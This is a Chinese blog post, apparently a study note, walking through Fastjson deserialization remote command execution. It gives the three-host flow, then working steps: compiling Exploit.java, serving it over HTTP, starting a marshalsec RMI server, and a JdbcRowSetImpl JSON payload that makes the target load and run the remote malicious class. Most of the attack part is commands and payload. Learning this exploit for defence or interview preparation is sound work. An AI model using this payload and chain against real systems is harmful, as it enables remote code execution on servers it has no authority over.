随记(九):记录Fastjson远程命令执行流程


摘自:ZE0安全实验室的一篇分析文章 - 传送门

我觉得这个解释非常好,所以借此文记录下来。如有冒犯,私信我立即删除。同时还总结了漏洞利用流程的简述,像这个问题,在面试过程中也常常会被提及到,鄙人就有幸被提问过一次,模模糊糊的答出个大概来。

0x01 Fastjson远程命令执行流程

在这里插入图片描述
主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)

1、攻击者使用payload攻击主机A(该payload需要指定rmi/ldap地址)

2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

4、主机A引发恶意系统命令执行

0x02 Fastjson漏洞利用流程简述

1、先利用Python在本地启动一个HTTP服务,中间件随意,只要可以访问到我们的恶意JAVA类Exploit.class文件即可。

2、然后再从本地开启RMI服务,让RMI服务指定加载恶意JAVA类。

3、攻击者使用payload攻击目标主机(该payload需要指定RMI/LDAP地址)
/* 实战攻击流程 */
主机A: http://1.1.1.1:8090 (Fastjson漏洞主机)
主机B: http://2.2.2.2:8888 (恶意java类服务)
主机C: rmi://2.2.2.2:9999 (远程方法调用服务)

1.在本地使用javac命令编译Exploit.java文件,生成一个Exploit.class文件(Exploit文件名不能发生变化)
javac Exploit.java

2.然后再本地利用python启动一个http服务,中间件随意,但是需要能访问到Exploit.class文件。(这里使用python3临时启动一个HTTP服务)
python3 -m http.server --bind 0.0.0.0 8888

3.然后再从本地开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8888/#Exploit" 9999

4.接下来就可以发送payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/Exploit",
        "autoCommit":true
    }
}

PS:此时主机A收到POST请求,触发反序列化漏洞,最终执行 Exploit.class 文件中的内容

Tips:纠正一个很多文章描述Fastjson漏洞利用的时候的一个错误,就是步骤三本地开启RMI服务时,利用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI服务,要让RMI服务指定加载恶意JAVA类,所以这里应该是 http://2.2.2.2:8888/#Exploit ,而不是许多文章中提及到的 http://1.1.1.1:8888/#Exploit 。

PS:因自己能力不足,上面的Tips我也不太确定是不是真的是师傅们笔误了,根据其分析的话,那里的文章描述应该是错误的,望知情人士指点一二。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值